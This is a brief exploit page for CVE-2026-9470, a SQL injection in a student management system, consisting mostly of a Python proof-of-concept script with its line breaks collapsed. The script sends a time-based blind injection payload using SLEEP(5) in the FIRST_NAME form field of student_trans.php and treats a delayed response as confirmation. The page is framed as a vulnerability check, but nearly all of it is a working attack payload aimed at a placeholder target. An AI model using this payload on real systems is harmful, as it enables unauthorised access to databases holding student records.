CVE-2026-9470 StudentManagementSystem SQL注入漏洞

import requests def check_sql_injection(target_url): # Target endpoint based on vulnerability description endpoint = f"{target_url}/student_trans.php" # Payload for Time-Based Blind SQL Injection # Attempting to delay response by 5 seconds payload = { "FIRST_NAME": "admin' AND (SELECT SLEEP(5))-- -", "Last_Name": "test", "EMAIL": "[email protected]" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) # Check if the response time indicates a successful delay if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Exploit failed or patch applied.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target check_sql_injection(target)